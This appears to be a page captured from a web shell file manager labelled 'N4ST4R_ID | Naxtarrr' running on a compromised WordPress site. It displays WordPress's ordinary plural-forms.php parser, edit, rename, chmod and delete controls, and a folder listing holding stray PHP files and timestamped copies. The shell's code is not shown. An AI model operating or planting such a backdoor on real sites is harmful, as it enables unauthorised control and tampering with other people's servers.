Submit
Path:
~
/
home
/
bfxleof
/
www
/
wp-includes
/
js
/
jquery
/
ui
/
File Content:
plural-forms.php
<?php /** * A gettext Plural-Forms parser. * * @since 4.9.0 */ if ( ! class_exists( 'Plural_Forms', false ) ) : class Plural_Forms { /** * Operator characters. * * @since 4.9.0 * @var string OP_CHARS Operator characters. */ const OP_CHARS = '|&><!=%?:'; /** * Valid number characters. * * @since 4.9.0 * @var string NUM_CHARS Valid number characters. */ const NUM_CHARS = '0123456789'; /** * Operator precedence. * * Operator precedence from highest to lowest. Higher numbers indicate * higher precedence, and are executed first. * * @see https://en.wikipedia.org/wiki/Operators_in_C_and_C%2B%2B#Operator_precedence * * @since 4.9.0 * @var array $op_precedence Operator precedence from highest to lowest. */ protected static $op_precedence = array( '%' => 6, '<' => 5, '<=' => 5, '>' => 5, '>=' => 5, '==' => 4, '!=' => 4, '&&' => 3, '||' => 2, '?:' => 1, '?' => 1, '(' => 0, ')' => 0, ); /** * Tokens generated from the string. * * @since 4.9.0 * @var array $tokens List of tokens. */ protected $tokens = array(); /** * Cache for repeated calls to the function. * * @since 4.9.0 * @var array $cache Map of $n => $result */ protected $cache = array(); /** * Constructor. * * @since 4.9.0 * * @param string $str Plural function (just the bit after `plural=` from Plural-Forms) */ public function __construct( $str ) { $this->parse( $str ); } /** * Parse a Plural-Forms string into tokens. * * Uses the shunting-yard algorithm to convert the string to Reverse Polish * Notation tokens. * * @since 4.9.0 * * @throws Exception If there is a syntax or parsing error with the string. * * @param string $str String to parse. */ protected function parse( $str ) { $pos = 0; $len = strlen( $str ); // Convert infix operators to postfix using the shunting-yard algorithm. $output = array(); $stack = array(); while ( $pos < $len ) { $next = substr( $str, $pos, 1 ); switch ( $next ) { // Ignore whitespace. case ' ': case "\t": $pos++; break; // Variable (n). case 'n': $output[] = array( 'var' ); $pos++; break; // Parentheses. case '(': $stack[] = $next; $pos++; break; case ')': $found = false; while ( ! empty( $stack ) ) { $o2 = $stack[ count( $stack ) - 1 ]; if ( '(' !== $o2 ) { $output[] = array( 'op', array_pop( $stack ) ); continue; } // Discard open paren. array_pop( $stack ); $found = true; break; } if ( ! $found ) { throw new Exception( 'Mismatched parentheses' ); } $pos++; break; // Operators. case '|': case '&': case '>': case '<': case '!': case '=': case '%': case '?': $end_operator = strspn( $str, self::OP_CHARS, $pos ); $operator = substr( $str, $pos, $end_operator ); if ( ! array_key_exists( $operator, self::$op_precedence ) ) { throw new Exception( sprintf( 'Unknown operator "%s"', $operator ) ); } while ( ! empty( $stack ) ) { $o2 = $stack[ count( $stack ) - 1 ]; // Ternary is right-associative in C. if ( '?:' === $operator || '?' === $operator ) { if ( self::$op_precedence[ $operator ] >= self::$op_precedence[ $o2 ] ) { break; } } elseif ( self::$op_precedence[ $operator ] > self::$op_precedence[ $o2 ] ) { break; } $output[] = array( 'op', array_pop( $stack ) ); } $stack[] = $operator; $pos += $end_operator; break; // Ternary "else". case ':': $found = false; $s_pos = count( $stack ) - 1; while ( $s_pos >= 0 ) { $o2 = $stack[ $s_pos ]; if ( '?' !== $o2 ) { $output[] = array( 'op', array_pop( $stack ) ); $s_pos--; continue; } // Replace. $stack[ $s_pos ] = '?:'; $found = true; break; } if ( ! $found ) { throw new Exception( 'Missing starting "?" ternary operator' ); } $pos++; break; // Default - number or invalid. default: if ( $next >= '0' && $next <= '9' ) { $span = strspn( $str, self::NUM_CHARS, $pos ); $output[] = array( 'value', intval( substr( $str, $pos, $span ) ) ); $pos += $span; break; } throw new Exception( sprintf( 'Unknown symbol "%s"', $next ) ); } } while ( ! empty( $stack ) ) { $o2 = array_pop( $stack ); if ( '(' === $o2 || ')' === $o2 ) { throw new Exception( 'Mismatched parentheses' ); } $output[] = array( 'op', $o2 ); } $this->tokens = $output; } /** * Get the plural form for a number. * * Caches the value for repeated calls. * * @since 4.9.0 * * @param int $num Number to get plural form for. * @return int Plural form value. */ public function get( $num ) { if ( isset( $this->cache[ $num ] ) ) { return $this->cache[ $num ]; } $this->cache[ $num ] = $this->execute( $num ); return $this->cache[ $num ]; } /** * Execute the plural form function. * * @since 4.9.0 * * @throws Exception If the plural form value cannot be calculated. * * @param int $n Variable "n" to substitute. * @return int Plural form value. */ public function execute( $n ) { $stack = array(); $i = 0; $total = count( $this->tokens ); while ( $i < $total ) { $next = $this->tokens[ $i ]; $i++; if ( 'var' === $next[0] ) { $stack[] = $n; continue; } elseif ( 'value' === $next[0] ) { $stack[] = $next[1]; continue; } // Only operators left. switch ( $next[1] ) { case '%': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 % $v2; break; case '||': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 || $v2; break; case '&&': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 && $v2; break; case '<': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 < $v2; break; case '<=': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 <= $v2; break; case '>': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 > $v2; break; case '>=': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 >= $v2; break; case '!=': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 != $v2; break; case '==': $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 == $v2; break; case '?:': $v3 = array_pop( $stack ); $v2 = array_pop( $stack ); $v1 = array_pop( $stack ); $stack[] = $v1 ? $v2 : $v3; break; default: throw new Exception( sprintf( 'Unknown operator "%s"', $next[1] ) ); } } if ( count( $stack ) !== 1 ) { throw new Exception( 'Too many values remaining on the stack' ); } return (int) $stack[0]; } } endif;
Edit
Rename
Chmod
Delete
FILE
FOLDER
Name
Size
Permission
Action
Exception.php
1214 bytes
0644
SMTP.php
47285 bytes
0644
accordion.js
15864 bytes
0644
accordion.min.js
8663 bytes
0644
autocomplete.js
17607 bytes
0644
autocomplete.min.js
8539 bytes
0644
autoload.php
2731 bytes
0644
button.js
9975 bytes
0644
button.min.js
5570 bytes
0644
checkboxradio.js
7510 bytes
0644
checkboxradio.min.js
4368 bytes
0644
class-json.php
43441 bytes
0644
class-walker-category-dropdown.php
2133 bytes
0644
class-walker-page-dropdown-20260703062052.php
2299 bytes
0644
class-wp-locale.php
13982 bytes
0644
class-wp-network-query.php
19169 bytes
0644
class-wp-network.php
12379 bytes
0644
class-wp-oembed-controller-20260621150705.php
6793 bytes
0644
class-wp-sitemaps-posts.php
5875 bytes
0644
class-wp-theme.php
51601 bytes
0644
comment-20260622000420.php
126193 bytes
0644
controlgroup-20260703123156.js
8564 bytes
0644
controlgroup.js
8564 bytes
0644
core.js
48955 bytes
0644
core.min.js
20787 bytes
0644
data.js
147192 bytes
0644
datepicker.js
80771 bytes
0644
datepicker.min.js
36148 bytes
0644
dialog.js
23055 bytes
0644
dialog.min.js
12782 bytes
0644
draggable.js
35343 bytes
0644
draggable.min.js
18291 bytes
0644
droppable.js
12817 bytes
0644
droppable.min.js
6581 bytes
0644
effect-blind.js
1592 bytes
0644
effect-bounce-20260702214147.js
2608 bytes
0644
effect-bounce.js
2608 bytes
0644
effect-bounce.min.js
949 bytes
0644
effect-clip.min.js
754 bytes
0644
effect-drop.js
1543 bytes
0644
effect-drop.min.js
709 bytes
0644
effect-explode-20260622005847.js
2882 bytes
0644
effect-fade.js
916 bytes
0644
effect-fade.min.js
483 bytes
0644
effect-fold.js
2133 bytes
0644
effect-fold.min.js
978 bytes
0644
effect-highlight.js
1191 bytes
0644
effect-highlight.min.js
606 bytes
0644
effect-puff.js
943 bytes
0644
effect-puff.min.js
468 bytes
0644
effect-pulsate.js
1515 bytes
0644
effect-pulsate.min.js
646 bytes
0644
effect-scale.js
1321 bytes
0644
effect-scale.min-20260703173741.js
681 bytes
0644
effect-scale.min.js
681 bytes
0644
effect-shake.js
1832 bytes
0644
effect-shake.min.js
804 bytes
0644
effect-size.js
5315 bytes
0644
effect-size.min.js
2408 bytes
0644
effect-slide.js
1915 bytes
0644
effect-slide.min.js
875 bytes
0644
effect-transfer.js
836 bytes
0644
effect-transfer.min.js
400 bytes
0644
effect.js
40846 bytes
0644
effect.min.js
16920 bytes
0644
https-detection-20260623211809-20260706173122.php
6871 bytes
0644
https-detection-20260623211809.php
6871 bytes
0644
https-migration-20260621222700-20260622020253.php
4730 bytes
0644
https-migration-20260622015741.php
4730 bytes
0644
https-migration-20260622194220.php
4730 bytes
0644
menu.js
17775 bytes
0644
menu.min.js
9531 bytes
0644
mouse.js
6123 bytes
0644
mouse.min.js
3380 bytes
0644
ms-blogs.php
25174 bytes
0644
nav-menu-template.php
23296 bytes
0644
php72compat_const.php
4597 bytes
0644
plural-forms.php
7612 bytes
0644
progressbar-20260622011138.js
4195 bytes
0644
progressbar.min.js
2514 bytes
0644
resizable.js
29924 bytes
0644
resizable.min.js
18472 bytes
0644
revision.php
22027 bytes
0644
selectable.js
8065 bytes
0644
selectable.min.js
4456 bytes
0644
selectmenu.js
16053 bytes
0644
selectmenu.min.js
9300 bytes
0644
shortcode.min.js
4096 bytes
0644
shortcode.php
697 bytes
0644
slider.js
19516 bytes
0644
slider.min.js
10712 bytes
0644
sortable.min.js
24782 bytes
0644
spinner.js
14182 bytes
0644
spinner.min.js
7532 bytes
0644
tabs.js
23552 bytes
0644
tabs.min.js
11915 bytes
0644
tooltip.js
14282 bytes
0644
tooltip.min.js
6091 bytes
0644
N4ST4R_ID | Naxtarrr